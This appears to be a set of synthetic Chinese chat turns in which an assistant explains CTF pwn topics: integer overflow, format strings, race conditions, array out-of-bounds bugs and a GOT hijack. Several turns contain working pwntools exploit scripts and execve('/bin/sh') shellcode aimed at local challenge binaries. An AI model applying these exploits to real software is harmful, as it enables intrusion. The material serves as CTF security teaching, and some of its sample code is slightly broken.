[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「标志位操作」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 标志位操作

通过直接操作 CPU 标志位（如零标志、符号标志、溢出标志等）可能会绕过程序的逻辑，甚至在某些情况下使程序执行不当。可以使用汇编语言实现对标志位的操作，但在 C 语言中，我们通常使用内联汇编。

```c
#include <stdio.h>

int main(void) {
    int a = 5, b = 0;

    // Using inline assembly to manipulate Zero Flag (ZF)
    __asm__ (
        "cmp %0, %1\n\t"
        "sete %2\n\t"
        : "=r"(b) // Output the Zero Flag value
        : "r"(a), "r"(b) // Compare a with b, modify b
    );

    printf("Zero flag comparison result: %d\n", b); // Will print 1 if a == b

    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/sj.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/sj.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`

函数/封装：
- `main`

关键常量/偏移样例：
`0x7fff`, `0xffff`, `0x7fffffff`, `0xffffffff`, `0x7fffffffffffffff`, `0xffffffffffffffff`

训练用代码片段：
```c
#include <stdio.h>

void main()
{
  char sa = 0x7f;
  short sb = 0x7fff;
  int sc = 0x7fffffff;
  long sd = 0x7fffffffffffffff;

  unsigned char ua = 0xff;
  unsigned short ub = 0xffff;
  unsigned int uc = 0xffffffff;
  unsigned long ud = 0xffffffffffffffff;

  sa+=1;
  sb+=1;
  sc+=1;
  sd+=1;
  ua+=1;
  ub+=1;
  uc+=1;
  ud+=1;

  printf("signed   char  0x%x  : %d\n", sa, sa);
  printf("signed   short 0x%x  : %d\n", sb, sb);
  printf("signed   int   0x%x  : %d\n", sc, sc);
  printf("signed   long  0x%lx : %ld\n", sd, sd);

  printf("unsigned char  0x%x  : %u\n", ua, ua);
  printf("unsigned short 0x%x  : %u\n", ub, ub);
  printf("unsigned int   0x%x  : %u\n", uc, uc);
  printf("unsigned long  0x%lx : %lu\n", ud, ud);
}
```

其它漏洞/整数溢出/sj.c

其它漏洞/整数溢出/sj.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理验证」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 原理验证

示例程序：

```plain
#include

int main() {
    char s[100] ="aaaa.%p.%p.%p.%p.%p.%p.%p";
    printf(s);
    return 0;
}
```

+ 32位

编译命令：

```shell
gcc test.c -g -m32 -o test
```

输出结果：

```
aaaa.0xf7ffc988.0xffffcf2a.0x56555595.0xffffcf2a.0xf7ffc984.0x61616161.0x2e70252e
```

栈结构：

```plain
00:0000│ esp  0xffffcee0 —▸ 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0004│      0xffffcee4 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x8e
02:0008│      0xffffcee8 —▸ 0xffffcf2a ◂— 0x0
03:000c│      0xffffceec —▸ 0x56555595 (main+24) ◂— add    ebx, 0x1a3f
04:0010│      0xffffcef0 —▸ 0xffffcf2a ◂— 0x0
05:0014│      0xffffcef4 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6
06:0018│ eax  0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
```

自上而下依次是参数0~6，参数0为格式化字符串地址，而格式化字符串前4字节又作为参数6（由于栈结构不同，需要视情况而定）。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。

+ 64位

编译命令：

```shell
gcc test.c -g -m64 -o test
```

输出结果：

```
aaaa.0x7fffffffde78.0x70.0x555555554770.0x7ffff7dced80.0x7ffff7dced80.0x2e70252e61616161.0x70252e70252e70255
```

寄存器：

```plain
RAX  0x0
RBX  0x0
RCX  0x555555554770 (__libc_csu_init) ◂— push   r15
RDX  0x70
RDI  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
RSI  0x7fffffffde78 —▸ 0x7fffffffe21b
R8   0x7ffff7dced80 (initial) ◂— 0x0
R9   0x7ffff7dced80 (initial) ◂— 0x0
R10  0x0
R11  0x0
R12  0x5555555545a0 (_start) ◂— xor    ebp, ebp
R13  0x7fffffffde70 ◂— 0x1
R14  0x0
R15  0x0
RBP  0x7fffffffdd90 —▸ 0x555555554770 (__libc_csu_init) ◂— push   r15
RSP  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
RIP  0x555555554747 (main+157) ◂— call   0x555555554580
```

栈结构：

```plain
00:0000│ rdi rsp  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0008│          0x7fffffffdd28 ◂— '%p.%p.%p.%p.%p.%p'
02:0010│          0x7fffffffdd30 ◂— '.%p.%p.%p'
03:0018│          0x7fffffffdd38 ◂— 0x70 /* 'p' */
04:0020│          0x7fffffffdd40 ◂— 0x0
```

由于 64 位程序先使用 `rdi`、`rsi`、`rdx`、`rcx`、`r8`、`r9` 寄存器作为函数参数的前六个参数，多余的参数会依次压在栈上，因此前 6 个输出的为寄存器中的值（`aaaa` 看做是格式化字符串参数），格式化字符串前 8 个字节作为参数 6 。

泄露偏移

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「minishell」。
资料来源：其它/minishell/wp.md；主题：minishell；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## minishell

> 题目描述：shell？shellcode！

[图片: image-20250513095358674]

运行发现是一个模拟shell的程序，模拟了 ls 命令、whoami 命令、pwn 命令以及cat命令，但是 cat 命令存在问题。

[图片: image-20250513095540323]

我们接下来反编译分析

[图片: image-20250513095650482]

分析 cat 命令函数

这里 mmap 了一块可读可写可执行的堆块然后从标准输入向这个堆块读取数据。之后调用了 sub_139b 函数。

[图片: image-20250513095721324]

这里跳转到 rdi 函数。

[图片: image-20250513095850234]

结合反汇编分析，发现就是执行我们 mmap 分配的空间中的数据。

[图片: image-20250513095923812]

所以很明显这里就是一个写shellcode的题目。接下来动态分析。

动态调试输入`aaa`作为测试数据发现在我们执行 shellcode 的时候除了`rdi`寄存器和`rip`寄存器外的所有寄存器全部被清空。这样我们常规的 shellcode 根本无法使用。所以我们必须手动构造 shellcode。

[图片: image-20250513100300100]

我们需要手动构造 shellcode，使得寄存器满足以下条件。

```
rax=59 系统调用号
rdi=/bin/sh的指针
rsi=0
rdx=0
```

之后再执行`syscall`触发中断。

由此我们可以得到以下通用 shellcode。

```assembly
xor     rax, rax                    ; rax = 0
mov     rbx, 0x68732f2f6e69622f     ; "/bin//sh"（使用双斜杠避免 NULL 字节）
push    rbx                         ; 压栈 "/bin/sh"
mov     rdi, rsp                    ; rdi = 指向 "/bin/sh"
xor     rsi, rsi                    ; rsi = NULL（argv）
xor     rdx, rdx                    ; rdx = NULL（envp）
mov     al, 59                      ; execve syscall 编号 (59)
syscall                             ; 调用 execve("/bin/sh", NULL, NULL)
```

[图片: image-20250513101204564]

使用 pwntools 编码之后发现为 27 字节。

但是我们`read`读取的内容限制为0x15即21字节。

[图片: image-20250513100647960]

所以我们需要缩短 shellcode，由于我们是将很多寄存器清零了的所以这里就不必执行很多寄存器的清零操作，我们可以将它们省略掉。

```assembly
mov     rbx, 0x68732f2f6e69622f     ; "/bin//sh"（使用双斜杠避免 NULL 字节）
push    rbx                         ; 压栈 "/bin/sh"
mov     rdi, rsp                    ; rdi = 指向 "/bin/sh"
mov     al, 59                      ; execve syscall 编号 (59)
syscall                             ; 调用 execve("/bin/sh", NULL, NULL)
```

再次编码看看

这次缩短到了 18 字节符合要求，但是这里有一个大问题，就是我们的`/bin/sh`的指针是通过栈传递的即`rsp`寄存器。但是程序将`rsp`寄存器也清零了。

[图片: image-20250513101554963]

没有栈给我们用咋办，但是这里我们发现我们还有一个寄存器可以用，就是`rdi`寄存器。它指向我们 mmap 的那块空间，这里我们思路骚一点将`rdi`指向的空间当成栈来用。就是通过汇编将`rdi`指向的地址复制给`rsp`，然后我们再通过传递栈指针。

由此我们得到以下 shellcode。

```assembly
lea    rsp,[rdi+0x70]
mov    rbx,0x68732f2f6e69622f
push   rbx
push   rsp
pop    rdi
mov    al,59
syscall
```

再次编码之后发现为21字节，正好符合要求。

[图片: image-20250513102135230]

接下来就可以构造exp了。

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')

ru("minishell$")
sl("cat")
shellcode = """
lea    rsp,[rdi+0x70]
mov    rbx,0x68732f2f6e69622f
push   rbx
push   rsp
pop    rdi
mov    al,59
syscall
"""
shellcode=asm(shellcode)
print(len(shellcode))
#dbg()
s(shellcode)

ia()
```

运行，getshell

[图片: image-20250513102257480]


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「程序逻辑」。
资料来源：其它/2024ccb anote/WP.md；主题：2024 CCB anote Writeup；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 程序逻辑

主菜单有 4 个功能：

```text
1. add
2. show content
3. edit content
4. exit
```

`add` 每次创建一个大小为 `0x1c` 的 C++ 对象：

```c
v1 = operator new(0x1c);
memset(v1, 0, 0x1c);
sub_8048DFC(v1);      // *(obj) = 0x8048f48
notes[count++] = v1;
```

构造函数只设置对象首 DWORD 为 vptr：

```asm
8048dfc: mov edx, 0x8048f48
8048e04: mov eax, [ebp+arg_0]
8048e07: mov [eax], edx
```

对象布局：

```text
obj + 0x00  vptr
obj + 0x04  index
obj + 0x08  content
```

`show` 会泄露对象地址：

```c
cout << "gift: " << notes[index] << endl;
sub_80489E8(notes[index]);
```

`edit` 逻辑如下：

```c
if (n > 40) exit(0);
cin.getline(src, 32);
sub_8048A86(notes[index], src, index, n);
(***notes[index])(notes[index]);
```

其中 `sub_8048A86` 是漏洞点：

```c
void *sub_8048A86(int obj, void *src, int idx, size_t n) {
    *(obj + 4) = idx;
    return memcpy(obj + 8, src, n);
}
```

对象只申请了 `0x1c` 字节，`content` 从 `obj+0x8` 开始，理论可写空间只有 `0x14` 字节；但 `edit` 允许 `n <= 40`，因此可以从 `obj+0x8` 向后溢出。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它/2024ycb logger/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它/2024ycb logger/exp.py`

分类：misc_pwn

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`
- `menu`
- `trace`

关键常量/偏移样例：
`0x401BC2`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
ia = lambda: io.interactive()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def menu(index):
    sla('chocie:', str(index))

def trace(content='a', judge='n'):
    menu(1)
    sla('here: ', content)
    sla('records? ', judge)

#dbg("b __cxa_throw@plt")

#通过数组越界漏洞修改src数组为/bin/sh
for i in range(7):
    trace()

trace('a'*0x10,'n')

payload = '/bin/sh;'
trace(payload)

#通过溢出漏洞劫持到后面catch进行异常处理
menu(2)
payload = b'a'*0x70
payload += p64(0X404300)
payload += p64(0x401BC2+1)
sa('Type your message here plz: ', payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「整数比较」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 整数比较

整数比较漏洞发生在两个不同大小的整数比较时，可能会产生意外的结果。比如有符号整数与无符号整数的比较可能导致逻辑错误。

```c
#include <stdio.h>

int main(void) {
    int snum = -1;
    unsigned int unum = 4294967295;

    if (snum < unum) {
        printf("less\n");
    } else {
        printf("not less\n");
    }

    return 0;
}
```

上述代码中`snum`和`unum`比较时从有符号数转换成立无符号数，结果是大于`unum`的。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/条件竞争/[NISACTF 2022]shop_pwn/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/条件竞争/[NISACTF 2022]shop_pwn/exp_cli.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwncli import *`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sl(b'3')
sl(b'0')

sl(b'3')
sl(b'0')

sla(b'> ', b'2')
sla(b'> ', b'1')
r()

sla(b'> ', b'1')
r()

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「泄露信息：elf base, ld base, libc base, stack」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# 泄露信息：elf base, ld base, libc base, stack
p.sendafter("please input:\n", "%p%5$p%7$p%9$p")

elf.address  = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))

ld_base      = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))

libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))

stack_addr   = int(p.recv(14), 16) - 0xf8
info("stack addr: " + hex(stack_addr))

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「防范」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 防范

防范条件竞争这里我们介绍两个方法，一是通过互斥锁来确保每次只有一个线程能够访问和修改共享资源。二是通过原子操作来保证每次线程操作的原子性。

**使用互斥锁：**

我们修改上面有漏洞的代码。

```c
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>

int counter;
pthread_mutex_t mutex;  // 创建一个互斥锁

void *IncreaseCounter(void *args) {
    // 在修改counter之前先加锁
    pthread_mutex_lock(&mutex);

    // 修改共享资源counter
    counter += 1;

    // 模拟一定的延迟
    sleep(0.1);

    // 打印当前线程id和counter变量的值
    printf("Thread %u has counter value %d\n", (unsigned int)pthread_self(), counter);

    // 修改完毕后解锁
    pthread_mutex_unlock(&mutex);
}

int main() {
    pthread_t p[10];

    // 初始化互斥锁
    pthread_mutex_init(&mutex, NULL);

    for (int i = 0; i < 10; ++i) {
        // 创建线程并执行IncreaseCounter函数
        pthread_create(&p[i], NULL, IncreaseCounter, NULL);
    }

    for (int i = 0; i < 10; ++i) {
        // 等待线程执行结束
        pthread_join(p[i], NULL);
    }

    // 销毁互斥锁
    pthread_mutex_destroy(&mutex);

    return 0;
}
```

**使用原子操作：**

原子操作是指在执行过程中不会被其他线程打断的操作。C语言提供了一些原子操作接口，例如`atomic`库中的原子类型和操作。对于简单的变量增减操作，使用原子操作可以避免条件竞争。

```c
#include <stdatomic.h>
#include <stdio.h>

atomic_int counter = 0;

void *IncreaseCounter(void *args) {
    atomic_fetch_add(&counter, 1);  // 原子操作，增加 counter
    return NULL;
}

int main() {
    pthread_t threads[10];

    // 创建线程
    for (int i = 0; i < 10; i++) {
        pthread_create(&threads[i], NULL, IncreaseCounter, NULL);
    }

    // 等待线程执行结束
    for (int i = 0; i < 10; i++) {
        pthread_join(threads[i], NULL);
    }

    printf("Final counter value: %d\n", counter);
    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「hijack GOT」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### hijack GOT

wdb_2018_2nd_easyfmt

任意地址读泄露内存，任意地址写修改GOT表。

由于动态链接程序是通过 GOT 表调用 libc 函数的。所以我们可以通过修改 GOT 表让某个函数调用时调用指定函数，比如说调用 system 函数。

而只有在程序没有开启 RELRO 保护的时候，GOT 表可以被修改，我们可以通过格式符字符串漏洞修改 GOT 表。比如将 printf 函数 GOT 表修改为 system 函数，这样当我们执行 puts 函数的时候，实际上执行的就是 system函数。

`main`函数的`read`并不存在溢出，但是`main`调用了`magic`函数，跟进查看。

一眼丁真，`magic`函数存在一字节溢出和格式化字符串漏洞。

并且我们在函数窗口发现了`shell`函数。

[图片: image]

`shell`函数存在后门函数。

[图片: image]

程序存在`canary`保护，但是不`Full RELRO`保护所以`got`表是可写的。

我们可以通过格式化字符串漏洞进行任意地址写，修改`___stack_chk_fail`函数的`got`表为`shell`函数地址。

然后通过一字节溢出损坏`canary`，让程序调用`___stack_chk_fail`函数。

这里我们已经修改`___stack_chk_fail`的`got`表为`shell`函数地址，所以我们调用的是`shell`函数。

这里就可以 getshell 了。

```python
	Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
```

格式化字符串漏洞处只能输入 25 字节，所以我们只能手动构造格式化字符串。

`___stack_chk_fail`函数的`got`表地址`0x401040`和`shell`函数的地址`0x4011d6`只有后两字节不同，所以我们可以仅仅覆盖`got`表的后两字节既。

[图片: image]

[图片: image]

+ exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

ru("name: \n")
sl(b"1")

payload=b"%4566c%8$hnaaaaa"+p64(0x404020)+b"a"

ru("you\n")
s(payload)

ia()
```

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 原理

在访问数组时因为数组的索引超出了数组的有效范围，导致可能读取或修改数组之外的数据。

如果攻击者进行精心构造可能可以达到任意代码执行的目的。

在以下面的代码中`arr`数组的索引是`scanf`函数输入的值，并且没有进行检查限制。导致用户可以输入超出`arr`数组索引的内容进行任意地址读写。

因为以下代码中的数组是全局变量数组，因此可以在`bss`段任意地址读写。如果数组是在栈上，那么可以读写栈上数据，比如`canary`。

+ 漏洞示例代码

```c
#include <stdio.h>

int arr[5] = {1, 2, 3, 4, 5};

int main() {

    int index;
    printf("Enter an index: ");
    scanf("%d", &index);
    //数组下标取值越界
    printf("arr[%d] = %d\n", index, arr[index]);  //任意地址读漏洞。
    scanf("%d", &index);
    scanf("%s",arr[index]) //任意地址写漏洞

    return 0;
}

//指向指针范围越界
int i;
int *p;
int a[5];

p=a;
for(i=0;i<10;i++){
    *p=i+10;
    p++;
}
//定义数组时会返回一个指向第一个变量的头指针，对这个指针进行加减运算可以向前或向后移动这个指针，进而访问数组中所有的变量。但在移动指针时，如果不注意移动的次数和位置，会使指针指向数组以外的位置，导致数组发生越界错误。
```

防止数组越界漏洞的方法就是对数组索引进行有效地检查，确保其在合法范围内。

+ 修补后代码

```c
#include <stdio.h>

int arr[5] = {1, 2, 3, 4, 5};

int main() {

    int index;
    printf("Enter an index: ");
    scanf("%d", &index);
    if (index >= 0 && index < 5) {
        printf("arr[%d] = %d\n", index, arr[index]);
    } else {
        return 1;
    }
    printf("arr[%d] = %d\n", index, arr[index]);  //任意地址读漏洞。
    scanf("%d", &index);
    if (index >= 0 && index < 5) {
        printf("arr[%d] = %d\n", index, arr[index]);
    } else {
        return 1;
    }
    scanf("%s",arr[index]) //任意地址写漏洞
    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/demo.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/demo.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`

函数/封装：
- `main`

关键常量/偏移样例：
`0x7fff`, `0xffff`, `0x7fffffff`, `0xffffffff`, `0x7fffffffffffffff`, `0xffffffffffffffff`

训练用代码片段：
```c
#include <stdio.h>

void main()
{
  unsigned char sa = 0x7f;
  unsigned short sb = 0x7fff;
  unsigned int sc = 0x7fffffff;
  unsigned long sd = 0x7fffffffffffffff;

  unsigned char ua = 0xff;
  unsigned short ub = 0xffff;
  unsigned int uc = 0xffffffff;
  unsigned long ud = 0xffffffffffffffff;

  sa+=1;
  sb+=1;
  sc+=1;
  sd+=1;
  ua+=1;
  ub+=1;
  uc+=1;
  ud+=1;

  printf("signed   char  0x%x  : %d\n", sa, sa);
  printf("signed   short 0x%x  : %d\n", sb, sb);
  printf("signed   int   0x%x  : %d\n", sc, sc);
  printf("signed   long  0x%lx : %ld\n", sd, sd);

  printf("unsigned char  0x%x  : %u\n", ua, ua);
  printf("unsigned short 0x%x  : %u\n", ub, ub);
  printf("unsigned int   0x%x  : %u\n", uc, uc);
  printf("unsigned long  0x%lx : %lu\n", ud, ud);
}
```

其它漏洞/整数溢出/demo.c

其它漏洞/整数溢出/demo.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/类型转换/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/类型转换/exp.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwn import *`

关键常量/偏移样例：
`0x0804900e`, `0x08049100`, `0x0804A008`

训练用代码片段：
```python
from pwn import *

context(log_level="debug",os="linux",arch="i386")
sh=process("./pwn")
#gdb.attach(sh)
#pause()
sh.sendlineafter("Tell me your choice:",str(1))
#pause()
sh.sendlineafter("First input the length of your name:",str(-1))

system=0x08049100
ret=0x0804900e
bn=0x0804A008
payload=b'a'*(20+8+4)+p32(ret)+p32(system)+p32(123)+p32(bn)
sh.sendlineafter("\x1B[36m What's u name?\n\x1B[0m",payload)
sh.interactive()
```

其它漏洞/整数溢出/类型转换/exp.py

其它漏洞/整数溢出/类型转换/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/非栈上格式化字符串/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/非栈上格式化字符串/exp.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

关键常量/偏移样例：
`0x85ab`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('xman_2019_format')
context(os=elf.os, arch=elf.arch, log_level='debug')

while True:
    global io
    try:
        io = process([elf.path])
        payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
        sla('...', payload)
        sleep(0.5)
        ia()

    except KeyboardInterrupt:
        ic()
        exit(0)

    except:
        ic()
ia()
```

其它漏洞/格式化字符串/非栈上格式化字符串/exp.py

其它漏洞/格式化字符串/非栈上格式化字符串/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/truncated.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/truncated.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`

函数/封装：
- `main`

训练用代码片段：
```c
#include <stdio.h>

int main() {
    long large_number = 1234567890123456789L;
    int truncated = (int)large_number;  // 整数截断
    printf("Truncated value: %d\n", truncated);
    return 0;
}
```


